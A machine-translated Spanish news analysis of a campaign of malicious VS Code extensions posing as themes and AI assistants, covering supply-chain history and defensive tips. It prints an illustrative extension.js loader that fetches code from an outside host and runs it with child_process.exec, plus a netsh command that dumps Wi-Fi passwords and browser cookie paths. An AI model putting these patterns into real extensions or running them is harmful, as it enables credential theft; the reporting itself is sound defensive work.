¡Enlace copiado!

Temas troyanos y IA espía: El ataque masivo a VS Code

Investigadores descubren una campaña masiva de extensiones maliciosas de VS Code, que se disfrazan de temas y herramientas de IA, robando de todo, desde claves SSH hasta contraseñas de Wi-Fi.

🌐
Traducción automática

Este artículo fue traducido automáticamente del original en inglés. Leer el original en inglés

Una interfaz de editor de código corrompida por flujos de datos maliciosos rojos y un caballo de Troya digital.

Confías en tus herramientas. Es la primera regla del código no escrito del desarrollador. Cuando ejecutas npm install una librería o haces clic en “Instalar” en un nuevo tema Dark Mode elegante en VS Code, no esperas un caballo de Troya. Esperas un mejor resaltado de sintaxis. Esperas productividad.

Pero una nueva ola masiva de ataques de la cadena de suministro ha destruido esa confianza, convirtiendo tu propio entorno de desarrollo en una sala de escucha para los ciberdelincuentes.

Los investigadores de Check Point, Phylum y otras firmas de seguridad han descubierto una campaña sofisticada y coordinada que apunta al corazón de la pila de desarrollo moderna: VS Code, npm, Go y Rust. No se trata solo de código buggy, mineros de criptomonedas o adware molesto. Estos son “InfoStealers” de precisión que se disfrazan de temas premium (como “Bitcoin Black”) y asistentes de IA de vanguardia (como “Codo AI” y “Chengdu AI”).

Y no solo están robando tu código - están llevándose tus contraseñas de Wi-Fi, claves SSH, cookies del navegador e incluso capturando pantallas distintas de tu escritorio activo.

Advertisement

Este análisis profundo desglosa exactamente cómo funcionan estas extensiones, la física del ataque “Imposter”, la economía que impulsa este aumento, y por qué el distintivo “Verificado” podría no ser suficiente para salvarte.

El gancho: por qué esto importa ahora

Durante años, el término “Supply Chain Attack” evocaba imágenes de la filtración de SolarWinds - un compromiso patrocinado por el estado a nivel alto de un servidor de compilación que se filtró a miles de agencias gubernamentales. Se sentía distante, casi abstracto, para el desarrollador frontend promedio o el científico de datos.

Esta nueva ola es personal. Apunta al desarrollador individual en su máquina local, a menudo evitando los cortafuegos corporativos por completo montándose en protocolos confiables.

La extensión “Bitcoin Black”, que prometía un tema oscuro elegante para comerciantes de criptomonedas, fue descargada miles de veces. De igual manera, “Codo AI” se subió a la onda de entusiasmo de ChatGPT y DeepSeek, prometiendo un asistente de IA integrado. En lugar de ayudarte a codificar, estaba silenciosamente desplegando un infostealer basado en DLL.

¿La parte aterradora? Funcionó. Porque estas herramientas residen dentro de tu IDE, heredan los permisos de alto nivel de tu entorno de desarrollo. El análisis del código ofuscado reveló un script postinstall que cosechaba variables de entorno (donde guardas tus claves de AWS), y ejecutaba comandos de shell.

“Los atacantes ya no están derribando la puerta principal; se están disfrazando como el mueble que traes adentro.”

Análisis técnico profundo: La anatomía del ataque

¿Cómo un “Tema” - que debería ser solo un archivo JSON de códigos hexadecimales - roba tu contraseña de Wi-Fi? La mecánica es sorprendentemente sofisticada y revela una profunda comprensión de la arquitectura de extensiones de VS Code.

1. El mecanismo “Imposter”

  • Typosquatting: prettier-vscode-plus suena como una versión legítima “Plus” del popular formateador Prettier. No lo era. Era un vehículo para el malware “OctoRAT”.
  • Trend Jacking: “Bitcoin Black” apuntaba a la superposición entre desarrolladores y entusiastas de criptomonedas. “Codo AI” apuntaba al auge de la IA.

Pulen los archivos README, añaden falsas insignias “Verificado” (como PNG en la descripción), y usan redes de bots para inflar artificialmente los conteos de descargas para parecer legítimos. En el marketplace de VS Code, la prueba social es el mecanismo de seguridad principal para la mayoría de usuarios, y se falsifica fácilmente.

Advertisement

2. La entrega de carga (El lanzamiento de DLL)

Una vez instalada, una temática técnicamente consiste principalmente en archivos JSON que definen colores. Sin embargo, las extensiones de VS Code también pueden incluir código ejecutable y eventos de activación.

En el caso de Bitcoin Black, la extensión contenía un archivo extension.js oculto que no solo aplicaba colores.

  1. Disparador: Al activarse (o al iniciar VS Code), el JavaScript se ejecuta.
  2. Fetcher: Se conecta a un servidor de Comando y Control (C2), generalmente alojado en un dominio legítimo comprometido o un VPS económico, haciéndose pasar por una verificación de telemetría benigna. La investigación descubrió conexiones a un servidor de comando y control conocido previamente vinculado al Grupo Lazarus.
  3. Drop: Descarga una carga secundaria - a menudo un archivo PE (Portable Executable) compilado o DLL. En la campaña “Anivia”, esto era el OctoRAT.

Aquí hay un ejemplo conceptual de qué tan simple puede parecer el código del cargador malicioso dentro de un extension.js válido:

// Parece telemetría
const telemetry = require('./telemetry-utils');

function activate(context) {
    // código legítimo de activación de tema...
    
    // La carga maliciosa
    // ofuscada para parecer análisis
    const u = "https://cdn-stats-track.com/update/v2/payload";
    telemetry.checkUpdate(u).then(payload => {
        // ejecuta el buffer descargado
        require('child_process').exec(payload); 
    });
}

El módulo telemetry-utils contendría la lógica para obtener el binario y ejecutarlo, a menudo guardándolo en un directorio temporal como %TEMP%\vscode-updater.exe para evitar sospechas.

3. Exfiltración: El “Smash and Grab”

El malware no se queda en VS Code. Utiliza los recursos del sistema anfitrión para cosechar datos.

  • Credenciales de Wi-Fi: Al ejecutar netsh wlan show profile name="[SSID]" key=clear (en Windows), obtiene contraseñas de Wi-Fi en texto plano. Esto permite a los atacantes comprometer físicamente tu red si están locales, o mapear credenciales de red corporativa.
  • Secuestro de sesión del navegador: Escanea los directorios AppData/Local/Google/Chrome/User Data para copiar las bases de datos SQLite que contienen cookies y contraseñas guardadas. Esto permite a los atacantes eludir la autenticación de dos factores reutilizando tus cookies de sesión.
  • Capturas de pantalla: Usando llamadas a Windows API, BitBlt o similar, captura la pantalla. Como los desarrolladores a menudo tienen secretos visibles en otras ventanas (Postman, Notion, 1Password), esto es catastrófico.
  • Secuestro del portapapeles: Monitorea el portapapeles en busca de cadenas que parezcan direcciones de billetera criptográfica o claves API y las intercambia o las registra.

4. Bloques de código: La matemática de la infección

La probabilidad de infección P(x)P(x) en una cadena de suministro aumenta exponencialmente con el número de dependencias NdN_d y el factor de confianza TT (donde 0 es confianza ciega).

Advertisement

P(x)=1(1R)NdP(x) = 1 - (1 - R)^ {N_d}

Donde RR es el riesgo por paquete. A medida que NdN_d (el número de dependencias) crece, P(x)P(x) se aproxima a 1.

Para un desarrollador senior con 50 extensiones y 1000 paquetes npm en su node_modules, el área de superficie es masiva.

Historia contextual: Un patrón de negligencia

Esta no es la primera vez. La historia de los gestores de paquetes es una historia de confianza rota.

2018: El incidente event-stream

Un paquete npm ampliamente utilizado, event-stream, fue entregado por su autor original (que estaba agotado) a un nuevo mantenedor voluntario llamado “Right9delta”. Este nuevo mantenedor fue útil al principio. Luego, inyectaron una dependencia llamada flatmap-stream que contenía código encriptado. Este código apuntaba específicamente a los procesos de compilación de Copay (una aplicación de billetera Bitcoin) para robar claves privadas. Este fue el ataque de “paciencia” - espera hasta que confíes, luego ataca.

2020: SolarWinds

El “abuelo” de los ataques de cadena de suministro. Los atacantes comprometieron el sistema de compilación en sí. Aunque esto fue patrocinado por el estado y de alto nivel, probó que si puedes envenenar el pozo (la fuente de código), puedes envenenar el pueblo (todos los que lo usan).

2024: La puerta trasera de XZ Utils

Este mismo año, la puerta trasera de XZ Utils demostró cómo un mantenedor pasó años construyendo confianza antes de insertar una sofisticada puerta trasera en una biblioteca de compresión de Linux central. Los ataques a VS Code son la versión de “comida rápida” de esto: rápido, sucio y ampliamente distribuido.

El cambio “Lazarus”

Los actores patrocinados por el estado (como el Grupo Lazarus) han cambiado de robar bancos a robar desarrolladores. ¿Por qué? Porque los desarrolladores tienen las llaves de los bancos. Están apuntando al “middleware” de la economía de internet.

El Marketplace de VS Code siempre ha sido un “Salvaje Oeste”. A diferencia de la App Store de Apple, hay revisión humana mínima. Los escáneres automatizados verifican las firmas de virus conocidas, pero un script JS ofuscado personalizado a menudo se cuela a través de las verificaciones lógicas.

La realidad económica

¿Por qué los hackers apuntan a desarrolladores? ROI (Retorno de inversión).

Una campaña de phishing dirigida a un empleado bancario cuesta tiempo, dinero e ingeniería social sofisticada. Subir una falsa extensión “Asistente de IA” cuesta $0.

Si 5,000 desarrolladores lo instalan:

  • El 10% podría trabajar en empresas Fortune 500.
  • El 1% podría tener claves raíz de AWS en su archivo .env.
  • Eso son 50 “Golden Keys” por el precio de un README falso.

La ventaja es masiva. El “Costo de bienes vendidos” para el atacante es casi cero, mientras que el ingreso potencial de vender acceso (Initial Access Brokers) o desplegar ransomware está en los millones. Una sola clave raíz de AWS válida de empresa puede venderse por $5,000 a $50,000 en mercados de la darkweb dependiendo de los límites de cuota.

Análisis prospectivo: El IDE de “Confianza cero”

La industria está llegando a un punto de quiebre. Los datos del mercado sugieren tres cambios importantes en 2026:

  1. El fin del marketplace “Abierto”: Microsoft y GitHub probablemente serán forzados a implementar procesos de revisión al estilo “App Store”.
  2. Extensiones en sandbox: Actualmente, las extensiones se ejecutan con tus privilegios de usuario. Las versiones futuras de VS Code pueden obligar a las extensiones a ejecutarse en un sandbox de WASM sin acceso al sistema de archivos por defecto. Tendrás que otorgar explícitamente a una extensión permiso para leer tu carpeta /src, al igual que otorgas a una aplicación móvil acceso a tu cámara.
  3. Listas de permisos empresariales: Las empresas dejarán de permitir que los desarrolladores instalen lo que quieran. Los marketplaces internos probablemente surgirán donde solo las extensiones verificadas están disponibles.

Lo que debes hacer hoy

No puedes esperar a Microsoft.

  • Audita tus extensiones: Ve a tu pestaña de extensiones. Si no la usas diariamente, desinstálala.
  • Verifica el publicador: Haz clic en el nombre del publicador. ¿Tienen un sitio web? ¿Un repositorio de GitHub? Si es un nombre genérico o una cuenta completamente nueva, no la instales.
  • Usa escáneres: Herramientas como Socket y Snyk están comenzando a escanear extensiones IDE, no solo paquetes npm. Úsalas.
  • Filtrado de red: Usa herramientas como Little Snitch (en Mac) para monitorear dónde se está conectando tu VS Code. Si tu “Tema” está hablando con un servidor en una región no estándar, bloquéalo.

El veredicto: La era del “Tema Troyano” está aquí. Tu IDE ya no es un santuario; es un campo de batalla. Codifica en consecuencia.

Fuentes (3)

Advertisement

🦋 Discusión en Bluesky

Discutir en Bluesky

Buscando publicaciones...